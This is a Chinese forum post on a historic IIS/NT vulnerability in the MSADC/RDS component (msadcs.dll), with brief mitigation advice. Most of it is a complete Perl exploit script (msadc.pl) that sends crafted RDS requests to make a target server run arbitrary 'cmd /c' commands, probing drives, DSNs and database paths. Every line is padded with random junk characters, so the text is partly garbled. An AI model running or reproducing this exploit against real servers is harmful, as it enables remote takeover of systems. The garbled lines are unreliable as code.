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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) c;(Fz^&_  
FYu30  
涉及程序: @].!}tz  
Microsoft NT server \ kY:|T  
XV4aR3n{Q  
描述: }X=c|]6i^  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #PPHxh*S  
*wX[zO+o  
详细: [AIqKyIr  
如果你没有时间读详细内容的话,就删除: 9m_~Zs}Z  
c:\Program Files\Common Files\System\Msadc\msadcs.dll nQ|($V1?W  
有关的安全问题就没有了。 Y`$\o  
LfU? 1:Du  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 xe(7q1   
g2^{+,/^K  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 v@2@9/  
关于利用ODBC远程漏洞的描述,请参看: %qE"A6j  
EB}~^ aY  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &;r'JIp  
^ T`T?*h  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *qLk'<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp mea} 9]c  
@x A^F%(  
这里不再论述。 :yi} CM4  
Q3$DX, 8?  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Hd7Vp:KM  
_akjgwu  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset sKs`gi2  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! SS8$.ot  
./.aLTh  
P|lDW|}D@  
#将下面这段保存为txt文件,然后: "perl -x 文件名" N7}3?wS  
.!lLj1?p  
#!perl a+O?bO  
# 73]t5=D:  
# MSADC/RDS 'usage' (aka exploit) script o$U{.#  
# S1~K.<B  
# by rain.forest.puppy cH:&S=>h  
# r| \""  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me YSfJUB!I  
# beta test and find errors! o@[o6.B<  
#4"eQ*.*"  
use Socket; use Getopt::Std; Sd.Km a  
getopts("e:vd:h:XR", \%args); (~5]1S}F  
/F|VYl^_  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Slv:CM M  
`)KGajB  
if (!defined $args{h} && !defined $args{R}) { MF*4E9Ue.  
print qq~ L\bc R  
Usage: msadc.pl -h <host> { -d <delay> -X -v } kSCpr0c  
-h <host> = host you want to scan (ip or domain) &%)F5PT  
-d <seconds> = delay between calls, default 1 second XN?my@_HpM  
-X = dump Index Server path table, if available :P%?!'M  
-v = verbose mMWhUr  
-e = external dictionary file for step 5 7Lj:m.0O^  
c(b`eUOO  
Or a -R will resume a command session Bf+~&I#E  
6CGk*s  
~; exit;} 3fZoF`<a  
S5Pn6'w  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; W >}T$a}\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} g`.H)36  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ~ oq.yn/1  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); hB aG*J{  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {-]K!tWda  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;p <BiC$b  
iyUnxqP  
if (!defined $args{R}){ $ret = &has_msadc; ,+C?UW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} w}(pc }^U  
=,qY\@fq  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" iYw1{U  
. "cmd /c "; O*]}0*CT  
$in=<STDIN>; chomp $in; 0(Z:QqpU$  
$command="cmd /c " . $in ; e.XD5~Ax  
H.]<f vP  
if (defined $args{R}) {&load; exit;} \LQZoD?W  
+u5xK  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 4k<U5J  
&try_btcustmr; #SI]^T|  
E&L ml?@  
print "\nStep 2: Trying to make our own DSN..."; 60e{]}Z  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; DR]oK_  
d$E>bo-\   
print "\nStep 3: Trying known DSNs..."; 0a@tPskV  
&known_dsn;  z.2UZ%:  
rxJl;!7G  
print "\nStep 4: Trying known .mdbs..."; S+mBVk"-~S  
&known_mdb; I1dOMu9  
d>#X+;-k  
if (defined $args{e}){ g1y@z8Z{  
print "\nStep 5: Trying dictionary of DSN names..."; O ]-8 %  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } K*1]P ar;  
0HbCT3g.  
print "Sorry Charley...maybe next time?\n"; --c)!Vxzx  
exit; 86?~N  
LtKR15h,  
############################################################################## R6z *!W{  
*J': U>p  
sub sendraw { # ripped and modded from whisker gA1j'!\6l9  
sleep($delay); # it's a DoS on the server! At least on mine... VJCj=jX  
my ($pstr)=@_; 8 K)GH:a  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6e5A8e8"]  
die("Socket problems\n"); w_~tY*IwB  
if(connect(S,pack "SnA4x8",2,80,$target)){ =1)9>=}  
select(S); $|=1; oz|+{b}%  
print $pstr; my @in=<S>; zA$ f$J7\^  
select(STDOUT); close(S); ]y$/~(OW  
return @in; pV 8U`T  
} else { die("Can't connect...\n"); }} S?D]P'<  
z 3Z8vq  
############################################################################## E0!0 uSg&  
Wap\J7NY  
sub make_header { # make the HTTP request #\_FSr fX  
my $msadc=<<EOT K9nW"0>  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 !Zc#E,  
User-Agent: ACTIVEDATA B7[#z{8'#  
Host: $ip <RH%FhT  
Content-Length: $clen LUpkO  
Connection: Keep-Alive 4[%_Bnv#AJ  
LRS,bl3}/  
ADCClientVersion:01.06 KRP6b:+4L  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 P~x4h{~Gd  
Zk|PQfi+  
--!ADM!ROX!YOUR!WORLD! *Csxf[O  
Content-Type: application/x-varg WigTNg4  
Content-Length: $reqlen 2sEG# /Y=  
}#=t%uZ/  
EOT fmLDufx  
; $msadc=~s/\n/\r\n/g; 3{ea~G)[9  
return $msadc;} Y$|KY/)H)  
j~9Y0jz_  
############################################################################## }y(cv}8Y  
KxFA@3  
sub make_req { # make the RDS request c2s73i z  
my ($switch, $p1, $p2)=@_; o(D_ /]'8  
my $req=""; my $t1, $t2, $query, $dsn; @|OGxQoC  
! 8Ro5),  
if ($switch==1){ # this is the btcustmr.mdb query q 4Ok$~"I  
$query="Select * from Customers where City=" . make_shell(); }h3[QUVf%  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *kj+6`:CPs  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ox";%|PP1  
$0~1;@`rQ6  
elsif ($switch==2){ # this is general make table query LJ z6)kz  
$query="create table AZZ (B int, C varchar(10))"; 1NrNTBI@  
$dsn="$p1";} rV-Xsf7Z  
/P/0\3TCi  
elsif ($switch==3){ # this is general exploit table query lX 50JJwk  
$query="select * from AZZ where C=" . make_shell();  7(o:J  
$dsn="$p1";} `Uvc^  
,Vz-w;oDn  
elsif ($switch==4){ # attempt to hork file info from index server "N}MhcdS  
$query="select path from scope()"; DwTVoCC  
$dsn="Provider=MSIDXS;";} 4JH^R^O<n  
U:PtRSdn!b  
elsif ($switch==5){ # bad query _tQM<~Y]u\  
$query="select"; l Yj$ 3  
$dsn="$p1";} onv0gb/J  
V-63   
$t1= make_unicode($query); aHitPPlq  
$t2= make_unicode($dsn); O[|X=ZwR:l  
$req = "\x02\x00\x03\x00"; HA&hu /mw_  
$req.= "\x08\x00" . pack ("S1", length($t1)); s4=EyBI  
$req.= "\x00\x00" . $t1 ; ,,S 2>X*L  
$req.= "\x08\x00" . pack ("S1", length($t2)); D_`~$QB`,  
$req.= "\x00\x00" . $t2 ; 7o7FW=^  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; dn_l#$ U  
return $req;} q+?q[:nR-  
Y%zWaH  
############################################################################## I}}>M#  
}`76yH^c  
sub make_shell { # this makes the shell() statement Wk }}f|O0  
return "'|shell(\"$command\")|'";} $g,v]MW  
ZlcEeG  
############################################################################## dtV7YPz4+  
oGt2n:  
sub make_unicode { # quick little function to convert to unicode g<8Oezi 65  
my ($in)=@_; my $out; 2';{o=TXV  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } >I+p;V$@  
return $out;} ]x'd0GH"]  
G) 37?A)  
############################################################################## rfh`;G5s  
JM*!(\Y  
sub rdo_success { # checks for RDO return success (this is kludge) /f=31<+MtF  
my (@in) = @_; my $base=content_start(@in); _X{ GZJm  
if($in[$base]=~/multipart\/mixed/){ scE#&OWF%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ? a/\5`gnN  
return 0;} [BEQ ~A_I  
q1rD>n&d  
############################################################################## eK\i={va  
uj)fah?Wg  
sub make_dsn { # this makes a DSN for us idjk uB(6  
my @drives=("c","d","e","f"); v++&%  
print "\nMaking DSN: "; {~'Iu8TvZ  
foreach $drive (@drives) { O`9vEovjs  
print "$drive: "; 1V,DcolRY  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . sP>-k7K.  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" v*OT[l7  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); b |ijkys  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; rWN%j)#+  
return 0 if $2 eq "404"; # not found/doesn't exist Vw&# Lo  
if($2 eq "200") { )3 '8T>^<K  
foreach $line (@results) { -O $!sFmY  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} *3fhVl=8^*  
} return 0;} CX]L'  
gL7rX aj  
############################################################################## 7oCY@>(f  
m:9|5W  
sub verify_exists { y7Hoy.(  
my ($page)=@_; A^\g]rmK  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ?lU(FK  
return $results[0];} AU8sU?=  
8/"C0I (G  
############################################################################## qtz~Y~h|>  
/.t1Ow  
sub try_btcustmr { zXId up@  
my @drives=("c","d","e","f"); |Rm_8n%m  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }E&:  
Q-yNw0V}F  
foreach $dir (@dirs) { {m_y<  
print "$dir -> "; # fun status so you can see progress :8A@4vMS)?  
foreach $drive (@drives) { 9LSV^[QUH  
print "$drive: "; # ditto ?*~sx=mC  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; g$JlpD&  
$reqlenlen=length( "$reqlen" ); dleCh+ny?  
$clen= 206 + $reqlenlen + $reqlen; T^#d\2  
$qR@;=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); }>b@=5O  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} wZ_"@j<  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} onIZ&wrk  
8\+DSA  
############################################################################## _9<Mo;C  
ehZ/J5  
sub odbc_error { vPrlRG6  
my (@in)=@_; my $base; nPjK=o`KR  
my $base = content_start(@in); @z`eqG,']  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this EZZE(dq@gf  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qCF&o7*oN  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x+[ATZ([  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "z-tL  
return $in[$base+4].$in[$base+5].$in[$base+6];} rrG}; A  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; RW<4",  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . m;ju@5X  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} R_ )PbFw  
m!3D5z]n9  
############################################################################## uF[~YJ>  
 +&<k}Mz  
sub verbose { I |"'  
my ($in)=@_; bR?xz-g%<3  
return if !$verbose; fk\]wFj  
print STDOUT "\n$in\n";} n8i: /ypB  
mRxeob  
############################################################################## ^,`]Q)P^  
`w)yR>lqh  
sub save { <s$Jj><  
my ($p1, $p2, $p3, $p4)=@_; j_z@VT}y  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?[)V  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; S.pXo'}  
close OUT;} =JxEM7r  
Z=]ujlD  
##############################################################################  %Nx,ZD@  
7t/Y5Qf  
sub load { X(Z(cY(  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; @S6@pMo,  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `$vf9'\+  
@p=<IN>; close(IN); #L&/o9|  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ~6+>2|wIS  
$target= inet_aton($ip) || die("inet_aton problems"); #oN}DP  
print "Resuming to $ip ..."; A.~wgJDO  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; `$3ktQ$  
if($p[1]==1) { ST,+]p3L(  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; O,#,`2Qc  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 8EBd`kiq  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); J'yCVb)V  
if (rdo_success(@results)){print "Success!\n";} 0:c3aq&u  
else { print "failed\n"; verbose(odbc_error(@results));}} gLK0L%"5  
elsif ($p[1]==3){ 9~y:K$NO  
if(run_query("$p[3]")){ >'jkL5l  
print "Success!\n";} else { print "failed\n"; }} 0IBQE  
elsif ($p[1]==4){ UUF]45t>  
if(run_query($drvst . "$p[3]")){ v@{VQVx  
print "Success!\n"; } else { print "failed\n"; }} e7plL^^`  
exit;} B;2#Sa.  
=,X*40=  
############################################################################## KDj/S-S  
86a,J3C[  
sub create_table { BnaI30-  
my ($in)=@_; ;J:*r0  
$reqlen=length( make_req(2,$in,"") ) - 28; $f>(TW  
$reqlenlen=length( "$reqlen" ); cg9*+]rc  
$clen= 206 + $reqlenlen + $reqlen; =)a %,H  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^)h&s*  
return 1 if rdo_success(@results); +{#Z^y6&  
my $temp= odbc_error(@results); verbose($temp); KEf1GU6s  
return 1 if $temp=~/Table 'AZZ' already exists/; ;j+*}|!  
return 0;} xc7Rrh]}  
[Mj5o<k;I  
############################################################################## n(C M)(ozU  
b~(S;1NS'  
sub known_dsn { 5Fbb5`(  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go FtlJ3fB@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", b;NVvc(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", fUPYCw6F  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); c{qTVi5e  
8<@X=Z  
foreach $dSn (@dsns) { "~Zdv}^xS  
print "."; md|I?vk  
next if (!is_access("DSN=$dSn")); j,z)x[3}  
if(create_table("DSN=$dSn")){ OF:0jOW  
print "$dSn successful\n"; ZP-9KA$"  
if(run_query("DSN=$dSn")){ ]cW Q9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { D%6}x^`Qk  
print "Something's borked. Use verbose next time\n";}}} print "\n";} (!Xb8rV0_  
VFm)!'=I  
############################################################################## K cW 5  
Q5_,`r`  
sub is_access { 15%6;K?b  
my ($in)=@_; w{N8Y ~O  
$reqlen=length( make_req(5,$in,"") ) - 28; Pon0(:#1  
$reqlenlen=length( "$reqlen" ); ;alt%:$n  
$clen= 206 + $reqlenlen + $reqlen; ~RZN+N  
my @results=sendraw(make_header() . make_req(5,$in,"")); nP|ah~ q  
my $temp= odbc_error(@results); ngk:q5Tp  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ^ (J%)&_\3  
return 0;} `, 4YPjk^  
o@C|*TXN  
############################################################################## +U?73cYN  
n8D'fvY  
sub run_query { a.ijc>K  
my ($in)=@_; GoPMWbI7  
$reqlen=length( make_req(3,$in,"") ) - 28; @gQ?cU7  
$reqlenlen=length( "$reqlen" ); l>J%Q^  
$clen= 206 + $reqlenlen + $reqlen; ZT`" {#L  
my @results=sendraw(make_header() . make_req(3,$in,"")); MJa` 4[/  
return 1 if rdo_success(@results); "Nz"|-3Irv  
my $temp= odbc_error(@results); verbose($temp); Yq:/dpA_  
return 0;} MYR\W*B'b  
x@:98P  
############################################################################## Ec}9R3 m  
qoW$Iw*q)B  
sub known_mdb { #jO2Zu2`}  
my @drives=("c","d","e","f","g"); NGEE'4!i7T  
my @dirs=("winnt","winnt35","winnt351","win","windows"); n7zM;@{7  
my $dir, $drive, $mdb; \Rha7O  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; MOHw{Vw(  
i.7$~}  
# this is sparse, because I don't know of many z`D|O|#q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", {}=5uU2Tu  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ^9YS dFH/  
"\\system32\\certmdb.mdb", <,H/7Ba  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% !#E-p?O.  
>xH?`I7;f  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", T~4HeEG>uH  
"\\cfusion\\cfapps\\forums\\forums_.mdb", :R3&R CTZ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", U@(8)[?nxn  
"\\cfusion\\cfapps\\security\\realm_.mdb", t{B6W)q  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", {7v|\6@e3  
"\\cfusion\\database\\cfexamples.mdb", brL u~]I  
"\\cfusion\\database\\cfsnippets.mdb", {nS(B  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", i?)bF!J  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?*<1B  
"\\cfusion\\brighttiger\\database\\cleam.mdb", w2^s}NO  
"\\cfusion\\database\\smpolicy.mdb", C[+?gQJ[9  
"\\cfusion\\database\cypress.mdb", ^{NN-  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 0XE(vc!  
"\\website\\cgi-win\\dbsample.mdb", /Wdrpv-%,1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ,eL&Ner  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" J|cw9u  
); #these are just r\y\]AmF  
foreach $drive (@drives) { ZY;g)`E1  
foreach $dir (@dirs){ ")NQwT}  
foreach $mdb (@sysmdbs) { KCqz]  
print "."; 7JY9#+?p>  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ -vt6n1A&b  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ' |M} 3sL  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ :73T9/  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; R80|q#h,]  
} else { print "Something's borked. Use verbose next time\n"; }}}}} QqXaXx;  
xx?0Ftuq  
foreach $drive (@drives) { <YWu/\{KT  
foreach $mdb (@mdbs) { ol_&epG;ST  
print "."; 3;!a'[W&p  
if(create_table($drv . $drive . $dir . $mdb)){ 'OMl9}M  
print "\n" . $drive . $dir . $mdb . " successful\n"; SO~pe$c-  
if(run_query($drv . $drive . $dir . $mdb)){ Yt r*"-  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; MJK PpQ(,  
} else { print "Something's borked. Use verbose next time\n"; }}}} 9mpQusM  
} [yRqSB  
hG}/o&}U  
############################################################################## ](IOn:MuDE  
#!rH}A>n+  
sub hork_idx { |6`7kb;p  
print "\nAttempting to dump Index Server tables...\n"; h5^We"}+  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Q"qJ0f)  
$reqlen=length( make_req(4,"","") ) - 28; zD s V"D8  
$reqlenlen=length( "$reqlen" ); Af^9WJ  
$clen= 206 + $reqlenlen + $reqlen; Kke _?/fT  
my @results=sendraw2(make_header() . make_req(4,"","")); U/7jK40  
if (rdo_success(@results)){ E,4*a5Fi  
my $max=@results; my $c; my %d; }E)t,T>  
for($c=19; $c<$max; $c++){ s2nZW pIy  
$results[$c]=~s/\x00//g; >PGsY[N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; YT@H^=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; rPHM_fW(O@  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; fo I:`]2"*  
$d{"$1$2"}="";} V0gu0+u~R  
foreach $c (keys %d){ print "$c\n"; } Pfm B{  
} else {print "Index server doesn't seem to be installed.\n"; }} lI5>d(6p  
rhN"#?  
############################################################################## lB|.TCbW  
E/E|*6R  
sub dsn_dict { &(20*Vn,O  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); UG<<.1JL  
while(<IN>){ WkoYkkuzj  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; J!'IkC$>  
next if (!is_access("DSN=$dSn")); >Q)S-4iR  
if(create_table("DSN=$dSn")){ g G|4+' t  
print "$dSn successful\n"; zXd#kw;  
if(run_query("DSN=$dSn")){ YIYuqtnSJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >EgMtZ88.<  
print "Something's borked. Use verbose next time\n";}}} u5,vchZ  
print "\n"; close(IN);} d-]!aFj|U  
b_@bS<wsF}  
############################################################################## A}1:fw\Fn3  
#|Je%t}~  
sub sendraw2 { # ripped and modded from whisker [bN_0T.YI  
sleep($delay); # it's a DoS on the server! At least on mine... <H1e+l{8$  
my ($pstr)=@_; V("T9g  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || K%/g!t)  
die("Socket problems\n"); vNU[K%U  
if(connect(S,pack "SnA4x8",2,80,$target)){ fqol-{F.V  
print "Connected. Getting data"; D6EqJ,~  
open(OUT,">raw.out"); my @in; AgdU@&^  
select(S); $|=1; print $pstr; /NVyzM51V  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} zG&yu0;D6  
close(OUT); select(STDOUT); close(S); return @in; sWgzHj(c  
} else { die("Can't connect...\n"); }} 1mx;b)4t  
@9MrTP  
############################################################################## ZXWm?9uw  
4ug4[  
sub content_start { # this will take in the server headers G:MQ_tfr&  
my (@in)=@_; my $c; |:d_IB@  
for ($c=1;$c<500;$c++) { N&u(9Fxn  
if($in[$c] =~/^\x0d\x0a/){ /IC]}0kkp  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ,9 .NMFn  
else { return $c+1; }}} 0fR?zT?  
return -1;} # it should never get here actually D\sh +}"  
z'EphL7r   
############################################################################## V>Nw2u!!  
AE%zqvp>  
sub funky { Ude)$PAe%  
my (@in)=@_; my $error=odbc_error(@in); P;e@<O  
if($error=~/ADO could not find the specified provider/){ {d,^tG}  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Km0P)Z  
exit;} ?:RWHe.P  
if($error=~/A Handler is required/){ c5{3  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8p~|i97W]!  
exit;} By0Zz  
if($error=~/specified Handler has denied Access/){ pz/vvH5  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6Kd,(DI  
exit;}} "o<&3c4  
&s&Ha{(!w  
############################################################################## SS-7y:6y>  
iP?=5j=4  
sub has_msadc { 1ka58_^  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); et6@);F  
my $base=content_start(@results); it=ir9  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); o31pF  
return 0;} 2>inyn)S  
4[K6ZDBU  
######################## 5VlF\-  
Vj_z"t7q  
d^XRkB:h  
解决方案: )`m/vYKWL  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll qTnk>g_oS&  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 T@DT|lTI  
&0euNHH;sL  
拿出来充数 哈哈
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